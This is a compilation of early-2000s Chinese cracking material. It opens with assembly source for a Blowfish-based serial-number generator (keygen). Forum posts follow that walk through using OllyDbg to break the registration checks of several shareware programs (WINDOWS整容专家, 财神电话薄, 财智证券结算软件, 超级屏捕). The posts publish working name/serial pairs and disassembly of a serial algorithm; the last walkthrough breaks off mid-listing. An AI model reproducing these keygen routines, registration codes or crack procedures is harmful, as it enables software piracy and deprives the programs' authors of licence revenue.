MOV EAX,offset sbox1
LEA ECX,[ESI+48h]
loc_401141:
MOV EDX,0100h
loc_401146:
MOV EDI,[EAX]
ADD EAX,4
MOV [ECX],EDI
ADD ECX,4
DEC EDX
JNZ loc_401146
CMP EAX,offset sbox1+1000h
JL loc_401141

;初始化p盒
;第一步：原p盒与PWD逐项异或

MOV EDX,PWD
MOV EDI,offset pbox
XOR EAX,EAX
SUB EDI,ESI
MOV pbox_num18,12h
loc_401173:
XOR ECX,ECX
MOV pbox_num4,04
loc_40117D:
XOR EBX,EBX
MOV BL,[EAX+EDX]
SHL ECX,08
OR ECX,EBX
INC EAX
CMP EAX,len_PWD
JL loc_40118E
XOR EAX,EAX
loc_40118E:
MOV EBX,pbox_num4
DEC EBX
MOV pbox_num4,EBX
JNZ loc_40117D
MOV EBX,[EDI+ESI]
ADD ESI,4
XOR EBX,ECX
MOV ECX,pbox_num18
MOV [ESI-04],EBX
DEC ECX
MOV pbox_num18,ecx
JNZ loc_401173

;用连续的blowfish算法填充p盒
MOV EBX,offset key
XOR EAX,EAX
MOV BFLOW,EAX
MOV BFHIGH,EAX
MOV ESI,EBX
MOV EDI,09
loc_4011C4:
LEA EAX,BFLOW
LEA ECX,BFHIGH
invoke BlowFish_En,ECX,EAX
MOV EAX,BFHIGH
MOV ECX,BFLOW
MOV [ESI],EAX
MOV [ESI+04],ECX
ADD ESI,8
DEC EDI
JNZ loc_4011C4

;用连续的blowfish算法填充s盒
LEA ESI,[EBX+4Ch]
MOV snum,04 ;4个s盒。
loc_4011F2:
MOV EDI,80H ;每个盒填充80h=128次（每次填充两个数）。
loc_4011F7:
LEA ECX,BFLOW
LEA EDX,BFHIGH
invoke BlowFish_En,EDX,ECX
MOV ECX,BFHIGH
MOV EDX,BFLOW
MOV [ESI-04],ECX
MOV [ESI],EDX
ADD ESI,8
DEC EDI
JNZ loc_4011F7
DEC snum
JNZ loc_4011F2
RET
BlowFish_Init endp

MyStrlen proc uses ecx edi,szString:DWORD
MOV EDI,szString
XOR ECX,ECX
NOT ECX
XOR EAX,EAX
REPNZ SCASB
NOT ECX
DEC ECX
MOV EAX,ECX
RET
MyStrlen endp

MyRev proc uses ebx ecx esi edi,SRString:DWORD,DEString:DWORD,StringLen:DWORD
LOCAL Len1:DWORD
LOCAL Len2:DWORD
MOV EAX,StringLen
MOV EBX,4
CDQ
DIV EBX
MOV ECX,EAX
MOV ESI,SRString
MOV EDI,DEString
@@2:
MOV EBX,4
@@1:
MOV AL,[ESI+EBX-1]
MOV EDX,4
SUB EDX,EBX
MOV [EDI+EDX],AL
DEC EBX
JNZ @@1
ADD ESI,4
ADD EDI,4
LOOP @@2
MOV BYTE PTR[EDI],0
RET
MyRev endp

MyStrmagic proc uses ebx ecx edx esi edi,SString:DWORD,DString:DWORD,StringLen:DWORD
LOCAL CHAR1:BYTE
LOCAL CHAR2:BYTE
LOCAL MYFLAG:BYTE
LOCAL LEN:DWORD
MOV MYFLAG,0
MOV EAX,StringLen
MOV LEN,EAX
MOV EBX,3
CDQ
DIV EBX
.IF EDX!=0
INC LEN
MOV MYFLAG,1
.ENDIF
MOV EDI,DString
MOV ESI,0
MOV EBX,1
loc_4A8898: CMP LEN,EBX
JL loc_4A88A8
MOV EAX,SString
MOV AL,[EAX+EBX-01]
MOV CHAR1,AL
JMP SHORT loc_4A88AC

loc_4A88A8:
PUSH EAX
XOR EAX,EAX
MOV CHAR1,AL
POP EAX

loc_4A88AC: MOV EAX,ESI
SUB EAX,1
JC loc_4A88BD ;ESI=0,执行4A88BD
JZ loc_4A88E9 ;ESI=1,执行4A88E9
DEC EAX
JZ loc_4A892A ;ESI=2,执行4A892A
JMP loc_4A8996
loc_4A88BD:
XOR EDX,EDX
MOV DL,CHAR1
SHR EDX,02
MOV DL,[EDX+TABLE1]
MOV [EDI],DL
INC EDI
MOV AL,CHAR1
MOV CHAR2,AL
JMP loc_4A8996
loc_4A88E9:
MOV DL,CHAR2
AND DL,03
AND EDX,0FFH
SHL EDX,04
MOV CL,CHAR1
AND CL,0F0H
AND ECX,0FFH
SHR ECX,04
OR EDX,ECX
MOV DL,[EDX+TABLE1]
MOV [EDI],DL
INC EDI
MOV AL,CHAR1
MOV CHAR2,AL
JMP SHORT loc_4A8996

loc_4A892A:
MOV DL,CHAR2
AND DL,0FH
AND EDX,0FFH
SHL EDX,02
MOV CL,CHAR1
AND CL,0C0H
AND ECX,0FFH
SHR ECX,06
OR EDX,ECX
MOV DL,[EDX+TABLE1]
MOV [EDI],DL
INC EDI
CMP MYFLAG,0
JZ @@33
CMP LEN,EBX
JZ loc_4A8992
@@33:
MOV DL,CHAR1
AND DL,03FH
AND EDX,0FFH
MOV DL,[EDX+TABLE1]
MOV [EDI],DL
INC EDI

loc_4A8992: MOV CHAR2,00

loc_4A8996: INC ESI
CMP ESI,3
JNZ loc_4A899E
XOR ESI,ESI
loc_4A899E: INC EBX
CMP LEN,EBX
JGE loc_4A8898

XOR EAX,EAX
MOV [EDI],EAX
RET
MyStrmagic endp

;消息处理函数
_ProcDlgMain proc uses ebx edi esi edx ecx,hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
mov eax,wMsg
.if eax==WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSEif eax==WM_INITDIALOG
invoke LoadIcon,hInstance,IDI_ICO
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,EAX
MOV EAX,FALSE
RET

.elseif eax==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDGEN
invoke GetDlgItem,hWnd,Edit2
invoke SetFocus,EAX
invoke GetDlgItemText,hWnd,Edit1,offset szName,30
CMP EAX,4
JC @ERR
MOV Namelen,EAX
CDQ
MOV ECX,8
DIV ECX
INC EAX
MOV Namelen2,EAX
XOR ECX,ECX
MOV BL,8
SUB BL,DL
MOV CL,BL
IMUL EAX,8
MOV Namelen3,EAX
MOV EAX,Namelen
DEC EAX
@@11:
MOV [szName+EAX+ECX],BL
LOOP @@11 ;名字后面添加数字

invoke MyRev,offset szName,offset data1,Namelen3;名字反序排列
MOV EAX,Namelen3
mov ebx,8
idiv ebx
and eax,0ffh
mov ecx,eax
mov esi,offset data1
MOV EDI,OFFSET data2
MOV MAGICLEN,0
@@12:
mov ebx,esi
add ebx,4
invoke BlowFish_Init,offset PW_1,19
invoke BlowFish_En,esi,ebx
MOV EAX,BFLEFT
MOV EBX,BFRIGHT
MOV [EDI],EAX
MOV [EDI+4],EBX
ADD MAGICLEN,8
ADD ESI,8
ADD EDI,8
LOOP @@12 ;名字BlowFish加密
XOR EAX,EAX
MOV [EDI],EAX
invoke MyRev,offset data2,offset data1,MAGICLEN
INVOKE MyStrmagic,offset data1,OFFSET data3,MAGICLEN;字符变换
invoke MyStrlen,offset data3
MOV Snlen,EAX
CDQ
MOV ECX,8
IDIV ECX
INC EAX
MOV Snlen2,EAX
XOR ECX,ECX
MOV BL,8
SUB BL,DL
MOV CL,BL
imul eax,8
mov Snlen3,eax
MOV EAX,Snlen
DEC EAX
@@13:
MOV [data3+EAX+ECX],BL
LOOP @@13 ;中间字符串后面添加数字
invoke MyRev,offset data3,offset data1,Snlen3 ;中间字符串反序排列
INVOKE MyStrlen,offset data1
mov ebx,8
idiv ebx
and eax,0ffh
mov ecx,eax
mov esi,offset data1
MOV EDI,OFFSET data2
MOV MAGICLEN,0
@@14:
mov ebx,esi
add ebx,4
invoke BlowFish_Init,offset PW_2,16 ;准备产生序列号
invoke BlowFish_En,esi,ebx
MOV EAX,BFLEFT
MOV EBX,BFRIGHT
MOV [EDI],EAX
MOV [EDI+4],EBX
ADD MAGICLEN,8
ADD ESI,8
ADD EDI,8
LOOP @@14 ;名字BlowFish加密
XOR EAX,EAX
MOV [EDI],EAX
invoke MyRev,offset data2,offset data1,MAGICLEN
INVOKE MyStrmagic,offset data1,OFFSET data3,MAGICLEN ;字符变换
INVOKE MyStrlen,offset data3

XOR EDX,EDX
MOV SN,0FFFFFFEFH
loc_4A9528:
MOVZX ESI,DX
MOVZX ESI,[data3+ESI]
MOV EDI,SN
AND EDI,0FFH
XOR ESI,EDI
MOV ESI,[ESI*4+TABLE2]
MOV EDI,SN
SHR EDI,08
XOR ESI,EDI
MOV SN,ESI
INC EDX
DEC EAX
JNZ loc_4A9528
MOV EAX,SN
INVOKE dw2hex,EAX,OFFSET LASTSN
invoke SetDlgItemText,hWnd,Edit2,offset LASTSN
mov eax,FALSE
ret
@ERR:
invoke SetDlgItemText,hWnd,Edit2,NULL
invoke SendDlgItemMessage,hWnd,Edit1,EM_SETREADONLY,TRUE,NULL
invoke SetDlgItemText,hWnd,STATIC1,offset NAMEERR
invoke SetDlgItemText,hWnd,STATIC2,NULL
invoke SetDlgItemText,hWnd,IDABOUT,OFFSET szOK
MOV EAX,FALSE
RET

.elseif eax==IDABOUT
invoke GetDlgItemText,hWnd,IDABOUT,OFFSET szID,5
MOVZX EAX,BYTE PTR [szID]
.IF EAX==79 ;此时显示的是OK
invoke GetDlgItem,hWnd,Edit1
invoke SetFocus,eax
invoke SendDlgItemMessage,hWnd,Edit1,EM_SETREADONLY,FALSE,NULL
invoke SetDlgItemText,hWnd,STATIC1,offset STRDEF1
invoke SetDlgItemText,hWnd,STATIC2,offset STRDEF2
invoke SetDlgItemText,hWnd,IDABOUT,offset szABOUT
MOV EAX,FALSE
RET
.ELSE
invoke GetDlgItem,hWnd,Edit2
invoke SetFocus,eax
invoke SendDlgItemMessage,hWnd,Edit1,EM_SETREADONLY,TRUE,NULL
invoke SetDlgItemText,hWnd,STATIC1,offset STRABOUT1
invoke SetDlgItemText,hWnd,STATIC2,offset STRABOUT2
invoke SetDlgItemText,hWnd,IDABOUT,offset szOK
MOV EAX,FALSE
RET
.ENDIF
.endif
.else
mov eax,FALSE
ret
.endif

mov eax,FALSE
RET
_ProcDlgMain endp

;主程序
start:
invoke InitCommonControls
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start

end


WINDOWS整容专家V1.000

 标 题:加入BCG的第一篇（不知可否） (1千字)
发信人:lllufh
时 间:2001-9-11 12:51:57
详细信息:
目标软件：WINDOWS整容专家V1.000

本软件修改IE和桌面的各种图标、标题和TOOLBAR上的按钮，自动更换桌面背景，清除机器中的木马病毒，设定开机提示等。

下载地址：http://www.shareware.net.cn/download.asp?id={73A8F516-8F16-4629-B04C-8F7E776F6DA9}

目的：加入BCG

工具：ollydbg汉化版

由于失恋的原因心情极其不好，所以在网上漫无目的的瞎逛，突然想起自己学习破解也有好几个星期了，可是一直没啥子进展，既然无所事事，就找几个软件练练手吧，于是到了“共享软件注册中心”，发现一个叫“WINDOWS整容专家”的东东，就你了，DOWN下来用language查看，VB的？？？我倒~~~~~~~~，真是“人在背处走，喝水也塞牙”刚刚想放弃的时候，突然想起在“风飘雪教程”中有一篇专门关于破VB的教程，赶快翻翻！嘻嘻，看完后觉得破VB很简单，练练手吧！
（不好意思，讲一大堆废话，主要是想放松一下心情！）

开始动工：
运行ollydbg

按F3鍵　选择“IeIcon.exe” 装入程序

按Alt+E选择MSVBVM60.dll模块

然后在界面的左上角的窗口内按鼠标右键，选弹出菜单“Search for ->子菜单Name (label)

然后在 _Vbastrcomp处按F2键下断点（变成红色即可）^_^

此时按F9运行程序，填入注册信息

用户名：lllufh

注册码：87654321

按确定立刻被拦，此时在界面右上角的窗口内看见了真的注册码：464646504445

退出ollydbg，运行“整容专家”填写注册信息

NAME:lllufh
SN: 464646504445

成功了^O^ 原来用ollydbg破VB的程序就很简单！哈哈

对了，有一点请各侠注意，我发现这个程序的注册码好像是和用户名的每个字母相对应的！
可能存在着某种规律。
不过我自己找了半天也找不出规律，请各位大侠指点！

第一次写破解过程，不知从何下笔，文章非常的简陋，让各位前辈高手见笑了！

不知此文可不可以做我加入BCG的第一篇呢？

好了，我接着去郁闷了！！！


财神电话薄

 标 题:用ollydbg破《财神电话薄》（用pcode编的） (923字)
发信人:木瓜多瑙河[BCG]
时 间:2002-2-8 10:41:32
详细信息:
简介：本软件属于共享软件，在不注册的情况下仍然可以使用，但
是使用的次数到了一定的时后就会出现提示。不用担心，这
只是试用限制的生效，如果已经注册了，就不会有这个限制
了。
级别：3级（一共十级）
声明：我以前破过这个软件，原来的方法和注册码，均可以用。（说实在这个软件还是可以的）。我之所以出olldbg破版，是因为看见看雪上有人在找ollydbg的中文教程。
工具：ollydbg
步骤：
1.用ollydbg加载软件。
2.Alt+E切换到Executable modules模式
3.选中oleaut32
4.单击右键选中View Names
5.输入varbstrcmp(这样能更快的找到所需要的函数）
6.按下F2,下断点
7.按下F9,启动软件
8.输入注册名和注册码
9.按下现在注册
10.被中断
11.在ollydbg的右下脚的框内，就是真假注册码的对比。

注：
1.有时当重复多次进行跟踪时，软件就不能运行。解决办法：删除程序和目录下未自动删除的文件.
2.注册名只支持英文和数字，如果注册码是除了100开头的都是假的。

name：erwim code：100106569
name: www.pediy.com 100895000
name:23217195 code:100469284


财智证券结算软件2.5

 标 题:财智证券结算软件2.5 破解注册码分析！使用ollydbg 破解注册动画！高手莫入！ (1千字)
发信人:fish[BCG]
时 间:2001-11-20 11:24:26
详细信息:
财智证券结算软件2.5 破解注册码分析！使用ollydbg 破解注册动画！高手莫入！

使用工具:W32Dasm9.0, trw 1.03! ollydbg 1.05
软件下载地址：http://nj.onlinedown.net/chaizistockwise.htm

运行软件，下bpx 0050b67b,我填入的注册码为 987654321，
点注册来到这儿：
:0050B67B E8E0F8FFFF call 0050AF60 >>>>>>下 d eax看到假的注册码，
好进去看看！
:0050B680 84C0 test al, al
:0050B682 7454 je 0050B6D8
:0050B684 A17CF05A00 mov eax, dword ptr [005AF07C]
:0050B689 8B00 mov eax, dword ptr [eax]
:0050B68B 8B4DFC mov ecx, dword ptr [ebp-04]
* Possible StringData Ref from Code Obj ->"RegisterCode"
------------------------------------------------------------------------
跟进去我来到这儿：

:0050AF6A 8945FC mov dword ptr [ebp-04], eax
:0050AF6D 8B45FC mov eax, dword ptr [ebp-04]
:0050AF70 E8A394EFFF call 00404418
.
.
.
:0050AF99 E8F6FCFFFF call 0050AC94 >>>>>>此处我下了d eax 或 edx 就看到了真的
注册码：我的为8939－2343
机器码为：7209-3672

我于是使用ollydbg破解他的注册码，做了一个动画给大家看看！

大家看到我的注册码没有啊！我的注册码为：8939－2343

破解动画下载地址：http://person.longcity.net/home0/bcggroup/SoftWare/StockWise.rar


超级屏捕3.0

 标 题:用ollydbg破解就是爽，贴出超级屏捕的破解过程和算法分析，请大家多多指教！！ (15千字)
发信人:turkey99
时 间:2001-12-20 20:43:27
详细信息:
超级屏捕3.0
一个很方便的屏幕捕捉软件，功能比较强大。虽然12月10号才发布3.0版，可是网上关于它的注册机已经是满天飞了，呵呵，有点恐怖，那些共享软件的作者没的活了。别人都已经写出注册机了，我还破它干什么啊，没关系，我只是为了练习使用ollybdg这个特棒的调试软件而已。想像一下，一遍听着mp3，一遍破着软件，什么纸啊，笔啊都不需要，那种感觉有多奇妙啊，一个字，爽！！！
好了，废话少说，开始动手了，come on。
运行ollydbg，load超级屏捕3.0 ，装载完毕后，ollydbg自己就中断下来了，此时，屏幕共分四个窗口，左上角是汇编区，右上角是寄存器区，左下角是内存区，右下角是什么呢，我也不太清楚，不知道谁能告诉我。
哦，忘了说了，超级屏捕是用vc++写的，没有加壳，呵呵，作者好大方啊！！
好了，破解开始了，在左上角点鼠标右键，在弹出的菜单中选择查找－>所有参考文本字符串。ollydbg打开一个新窗口，哇哈，满板的英文，眼睛都看花了。没关系，点鼠标右键，选择search for text，弹出一个对话框，在对话框中输入Incomplete or incorrect Registration-Number. Please input again! 当然，你可以不用输这么多，一部分就可以了。对话框中还有两个选项，一个是区分大小写，一个是全范围查找，自己看着办拉。然后点确定，找到后，程序会将光标停在那一行上，如果不是你想要的那句话，就安ctrl+l继续查找，知道找到为止。好了，找到那句话后，在那一行上面点鼠标右键，选择toggle breakpoint或这按F2设置断点。现在关闭这个窗口，回到ollydbg的主界面，点击调试菜单，选择运行，或者直接按F9运行程序。
现在出现超级屏捕的注册画面，随便填入一些注册码，然后点击确定，程序被ollydbg中断，光标停留在我门设的那个断点上，如下：
004200D0 .>SUB ESP,8D4
004200D6 .>XOR EAX,EAX
004200D8 .>PUSH EBX
004200D9 .>MOV EBX,ECX
004200DB .>PUSH EDI
004200DC .>MOV ECX,8
004200E1 .>LEA EDI,DWORD PTR SS:[ESP+8]
004200E5 .>PUSH 20
004200E7 .>REP STOS DWORD PTR ES:[EDI]
004200E9 .>LEA EAX,DWORD PTR SS:[ESP+C]
004200ED .>MOV ECX,EBX
004200EF .>PUSH EAX
004200F0 .>PUSH 48D
004200F5 .>CALL SUPERCAP.004934BE
004200FA .>TEST EAX,EAX
004200FC .>JE SUPERCAP.00420188
00420102 .>PUSH SUPERCAP.004DFBCC //ASCII "SC30"
00420107 .>LEA ECX,DWORD PTR SS:[ESP+C]
0042010B .>PUSH 1
0042010D .>PUSH ECX
0042010E .>LEA EDX,DWORD PTR DS:[EBX+248]
00420114 .>PUSH 1
00420116 .>PUSH EDX
00420117 .>CALL SUPERCAP.0041EE30 //这个就是关键计算对比call了，决定你的命运如何，进去看看
0042011C .>ADD ESP,14
0042011F .>TEST EAX,EAX //看注册成功与否
00420121 .>JE SHORT SUPERCAP.00420188 //发现是这个跳，让我们voer了，呵呵，不跳就注册成功，当然程序在后面还会有一个校验，不管它了，向上看
00420123 .>LEA EAX,DWORD PTR SS:[ESP+28]
00420127 .>PUSH ESI
00420128 .>PUSH EAX
00420129 .>CALL SUPERCAP.0041A880
0042012E .>LEA EDI,DWORD PTR SS:[ESP+10]
00420132 .>OR ECX,FFFFFFFF
00420135 .>XOR EAX,EAX
00420137 .>LEA EDX,DWORD PTR SS:[ESP+1CC]
0042013E .>REPNE SCAS BYTE PTR ES:[EDI]
00420140 .>NOT ECX
00420142 .>SUB EDI,ECX
00420144 .>MOV EAX,ECX
00420146 .>MOV ESI,EDI
00420148 .>MOV EDI,EDX
0042014A .>SHR ECX,2
0042014D .>REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0042014F .>MOV ECX,EAX
00420151 .>AND ECX,3
00420154 .>REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00420156 .>LEA ECX,DWORD PTR SS:[ESP+30]
0042015A .>PUSH ECX
0042015B .>CALL SUPERCAP.0041A8C0
00420160 .>MOV ECX,DWORD PTR DS:[EBX+268]
00420166 .>ADD ESP,8
00420169 .>PUSH 0
0042016B .>PUSH 40
0042016D .>PUSH SUPERCAP.004E28BC //ASCII "Registe Ok!"发现这里有句注册成功的话，向下看看
00420172 .>CALL SUPERCAP.0041C660
00420177 .>MOV ECX,EBX
00420179 .>CALL SUPERCAP.0048FFC4
0042017E .>POP ESI
0042017F .>POP EDI
00420180 .>POP EBX
00420181 .>ADD ESP,8D4
00420187 .>RETN //这里程序就返回上一级了，所以再向上找，看是那个跳转跳过了此断代码
00420188 >>MOV ECX,DWORD PTR DS:[EBX+268]
0042018E .>PUSH 0
00420190 .>PUSH 10
00420192 .>PUSH SUPERCAP.004E2878 //ASCII "Incomplete or incorrect Registration-Number. Please input again!" 第一次被ollydbg中断时，光标停留在这里，下面的call就是秀出注册失败的画面，所以向上看，寻找可跳过这些代码的跳转
00420197 .>CALL SUPERCAP.0041C660
0042019C .>POP EDI
0042019D .>POP EBX
0042019E .>ADD ESP,8D4
004201A4 .>RETN

好了，我们00420117 CALL SUPERCAP.0041EE30这个call上下断，重新运行一遍程序，程序被中断下来，此时看看右上角的窗口，看到了什么，呵呵，你的假码和你的注册码，好，按F7跟进去，来到如下地方：
0041EE30 /$>SUB ESP,80
0041EE36 |.>MOV ECX,8
0041EE3B |.>XOR EAX,EAX
0041EE3D |.>PUSH EBX
0041EE3E |.>PUSH ESI
0041EE3F |.>PUSH EDI
0041EE40 |.>LEA EDI,DWORD PTR SS:[ESP+6C]
0041EE44 |.>REP STOS DWORD PTR ES:[EDI]
0041EE46 |.>MOV ECX,8
0041EE4B |.>LEA EDI,DWORD PTR SS:[ESP+2C]
0041EE4F |.>REP STOS DWORD PTR ES:[EDI]
0041EE51 |.>MOV ECX,8
0041EE56 |.>LEA EDI,DWORD PTR SS:[ESP+4C]
0041EE5A |.>REP STOS DWORD PTR ES:[EDI]
0041EE5C |.>MOV ECX,8
0041EE61 |.>LEA EDI,DWORD PTR SS:[ESP+C]
0041EE65 |.>REP STOS DWORD PTR ES:[EDI]
0041EE67 |.>MOV EAX,DWORD PTR SS:[ESP+94]
0041EE6E |.>TEST EAX,EAX
0041EE70 |.>JE SHORT SUPERCAP.0041EE89
0041EE72 |.>MOV ECX,DWORD PTR SS:[ESP+90]
0041EE79 |.>LEA EAX,DWORD PTR SS:[ESP+C]
0041EE7D |.>PUSH EAX
0041EE7E |.>PUSH ECX
0041EE7F |.>CALL SUPERCAP.0041EC20 //此call是将机器ID中的“－”去掉
0041EE84 |.>ADD ESP,8
0041EE87 |.>JMP SHORT SUPERCAP.0041EEB1
上面这一段代码就是将你的机器码中的“－”去掉，没必要关心它是怎么做到的，继续往下走，程序跳到这里：
0041EEB1 |>>MOV EAX,DWORD PTR SS:[ESP+9C]
0041EEB8 |.>TEST EAX,EAX
0041EEBA |.>JE SHORT SUPERCAP.0041EED3
0041EEBC |.>MOV EDX,DWORD PTR SS:[ESP+98] //取输入的注册码放到edx
0041EEC3 |.>LEA ECX,DWORD PTR SS:[ESP+2C]
0041EEC7 |.>PUSH ECX
0041EEC8 |.>PUSH EDX
0041EEC9 |.>CALL SUPERCAP.0041EC20 //此call跟上面一样，去掉输入注册码中的“－” ，所以到这里我们就知道，注册码的形式为XXXX-XXXX-XXXX-XXXX
0041EECE |.>ADD ESP,8
0041EED1 |.>JMP SHORT SUPERCAP.0041EEFB
这段代码告诉我们注册码的形式为XXXX-XXXX-XXXX-XXXX ，没什么有价值的信息，继续往下走，跳到这里：
0041EEFB |>>MOV EDI,DWORD PTR SS:[ESP+A0] //SUPERCAP.004DFBCC
0041EF02 |.>OR ECX,FFFFFFFF
0041EF05 |.>XOR EAX,EAX
0041EF07 |.>LEA EDX,DWORD PTR SS:[ESP+4C]
0041EF0B |.>REPNE SCAS BYTE PTR ES:[EDI]
0041EF0D |.>NOT ECX
0041EF0F |.>SUB EDI,ECX
0041EF11 |.>MOV EAX,ECX
0041EF13 |.>MOV ESI,EDI
0041EF15 |.>MOV EDI,EDX
0041EF17 |.>LEA EDX,DWORD PTR SS:[ESP+6C]
0041EF1B |.>SHR ECX,2
0041EF1E |.>REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0041EF20 |.>MOV ECX,EAX
0041EF22 |.>LEA EAX,DWORD PTR SS:[ESP+C] //将去掉－的机器ID放到eax
0041EF26 |.>AND ECX,3
0041EF29 |.>REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0041EF2B |.>LEA ECX,DWORD PTR SS:[ESP+4C] //将“SC30”放到ecx
0041EF2F |.>PUSH ECX
0041EF30 |.>PUSH 0
0041EF32 |.>PUSH EDX
0041EF33 |.>PUSH 0
0041EF35 |.>PUSH EAX
0041EF36 |.>CALL SUPERCAP.0041ED50 //此call将机器ID作一些变换，然后据此计算注册码，要写注册机就跟进去！！！
0041EF3B |.>ADD ESP,14
0041EF3E |.>LEA ESI,DWORD PTR SS:[ESP+2C]//esi中放有错误的注册码，已经去掉“－”
0041EF42 |.>LEA EAX,DWORD PTR SS:[ESP+6C]//eax中放有正确的注册码，已经去掉“－”
0041EF46 |>>MOV DL,BYTE PTR DS:[EAX]//正确注册码第一位放到dl
0041EF48 |.>MOV BL,BYTE PTR DS:[ESI]//错误注册码第一位放到bl
0041EF4A |.>MOV CL,DL //正确注册码第一位放到cl
0041EF4C |.>CMP DL,BL //比较注册码的第一位
0041EF4E |.>JNZ SHORT SUPERCAP.0041EF7F //不对就去死
0041EF50 |.>TEST CL,CL //看cl是不是为空
0041EF52 |.>JE SHORT SUPERCAP.0041EF6A //cl为空，对比结束，否则继续
0041EF54 |.>MOV DL,BYTE PTR DS:[EAX+1] //正确注册码的eax+1位放到
0041EF57 |.>MOV BL,BYTE PTR DS:[ESI+1] //错误注册码的esi+1位放到
0041EF5A |.>MOV CL,DL //dl的值放到cl
0041EF5C |.>CMP DL,BL //对比注册码,BL
0041EF5E |.>JNZ SHORT SUPERCAP.0041EF7F //不相等就去死
0041EF60 |.>ADD EAX,2 //eax加2
0041EF63 |.>ADD ESI,2 //esi加2
0041EF66 |.>TEST CL,CL //看cl是不是空
0041EF68 |.>JNZ SHORT SUPERCAP.0041EF46 //cl不为空就跳，否则对比结束
0041EF6A |>>XOR EAX,EAX
0041EF6C |.>XOR ECX,ECX
0041EF6E |.>TEST EAX,EAX
0041EF70 |.>SETE CL
0041EF73 |.>POP EDI
0041EF74 |.>POP ESI
0041EF75 |.>MOV EAX,ECX
0041EF77 |.>POP EBX
0041EF78 |.>ADD ESP,80
0041EF7E |.>RETN
只要注册码的话，到这里就达到目的了，不过我还想看看它的算法，进入
0041EF36 |.>CALL SUPERCAP.0041ED50这个call，
来到这里：
0041ED50 /$>SUB ESP,28
0041ED53 |.>XOR EAX,EAX
0041ED55 |.>XOR ECX,ECX
0041ED57 |.>MOV DWORD PTR SS:[ESP+14],EAX
0041ED5B |.>MOV DWORD PTR SS:[ESP],ECX
0041ED5F |.>MOV DWORD PTR SS:[ESP+18],EAX
0041ED63 |.>MOV DWORD PTR SS:[ESP+4],ECX
0041ED67 |.>MOV DWORD PTR SS:[ESP+1C],EAX
0041ED6B |.>MOV DWORD PTR SS:[ESP+8],ECX
0041ED6F |.>MOV DWORD PTR SS:[ESP+20],EAX
0041ED73 |.>MOV DWORD PTR SS:[ESP+C],ECX
0041ED77 |.>MOV BYTE PTR SS:[ESP+24],AL
0041ED7B |.>MOV EAX,DWORD PTR SS:[ESP+30]
0041ED7F |.>PUSH ESI
0041ED80 |.>PUSH EDI
0041ED81 |.>TEST EAX,EAX
0041ED83 |.>MOV BYTE PTR SS:[ESP+18],CL
0041ED87 |.>LEA EDX,DWORD PTR SS:[ESP+8]
0041ED8B |.>JE SHORT SUPERCAP.0041ED9D
0041ED8D |.>MOV EAX,DWORD PTR SS:[ESP+34]
0041ED91 |.>PUSH EDX
0041ED92 |.>PUSH EAX
0041ED93 |.>CALL SUPERCAP.0041EC20
0041ED98 |.>ADD ESP,8
0041ED9B |.>JMP SHORT SUPERCAP.0041EDBE
0041ED9D |>>MOV EDI,DWORD PTR SS:[ESP+34]
0041EDA1 |.>OR ECX,FFFFFFFF
0041EDA4 |.>XOR EAX,EAX
0041EDA6 |.>REPNE SCAS BYTE PTR ES:[EDI]
0041EDA8 |.>NOT ECX
0041EDAA |.>SUB EDI,ECX
0041EDAC |.>MOV EAX,ECX
0041EDAE |.>MOV ESI,EDI
0041EDB0 |.>MOV EDI,EDX
0041EDB2 |.>SHR ECX,2
0041EDB5 |.>REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0041EDB7 |.>MOV ECX,EAX
0041EDB9 |.>AND ECX,3
0041EDBC |.>REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0041EDBE |>>MOV EAX,DWORD PTR SS:[ESP+44] //eax中存放这“SC30”
0041EDC2 |.>LEA ECX,DWORD PTR SS:[ESP+1C]
0041EDC6 |.>LEA EDX,DWORD PTR SS:[ESP+8] //edx中存放着去掉“－”的机器码0041EDCA |.>PUSH ECX
0041EDCB |.>PUSH EDX
0041EDCC |.>PUSH EAX
0041EDCD |.>CALL SUPERCAP.0041EAE0 //此call就是计算注册码的算法call了
0041EDD2 |.>MOV EAX,DWORD PTR SS:[ESP+4C]
0041EDD6 |.>ADD ESP,C
0041EDD9 |.>TEST EAX,EAX
0041EDDB |.>JE SHORT SUPERCAP.0041EDFA
0041EDDD |.>MOV ECX,DWORD PTR SS:[ESP+3C]
0041EDE1 |.>LEA EDX,DWORD PTR SS:[ESP+1C]
0041EDE5 |.>PUSH ECX
0041EDE6 |.>PUSH EDX
0041EDE7 |.>CALL SUPERCAP.0041EBF0
0041EDEC |.>ADD ESP,8
0041EDEF |.>MOV EAX,1
0041EDF4 |.>POP EDI
0041EDF5 |.>POP ESI
0041EDF6 |.>ADD ESP,28
0041EDF9 |.>RETN
好，快要到核心了，继续，进入到0041EDCD |.>CALL SUPERCAP.0041EAE0这个call，如下：
0041EAE0 /$>SUB ESP,84
0041EAE6 |.>PUSH EBP
0041EAE7 |.>PUSH ESI
0041EAE8 |.>MOV ESI,DWORD PTR SS:[ESP+90]//SS:[ESP+90]存放着“SC30”
0041EAEF |.>TEST ESI,ESI
0041EAF1 |.>JE SUPERCAP.0041EBE5
0041EAF7 |.>MOV EBP,DWORD PTR SS:[ESP+94]//SS:[ESP+94]存放着机器码
0041EAFE |.>TEST EBP,EBP
0041EB00 |.>JE SUPERCAP.0041EBE5
0041EB06 |.>MOV EAX,DWORD PTR SS:[ESP+98]//SS:[ESP+98]存放着什么啊，不知道，全是00
0041EB0D |.>TEST EAX,EAX
0041EB0F |.>JE SUPERCAP.0041EBE5
0041EB15 |.>PUSH EBX
0041EB16 |.>PUSH EDI
0041EB17 |.>MOV EAX,2
0041EB1C |.>LEA EDX,DWORD PTR SS:[ESP+54]
0041EB20 |.>MOV ECX,F24
0041EB25 |>>LEA EDI,DWORD PTR DS:[EAX+2]
0041EB28 |.>ADD EDX,4
0041EB2B |.>IMUL EDI,EAX
0041EB2E |.>ADD EDI,ECX
0041EB30 |.>ADD ECX,E4
0041EB36 |.>INC EAX
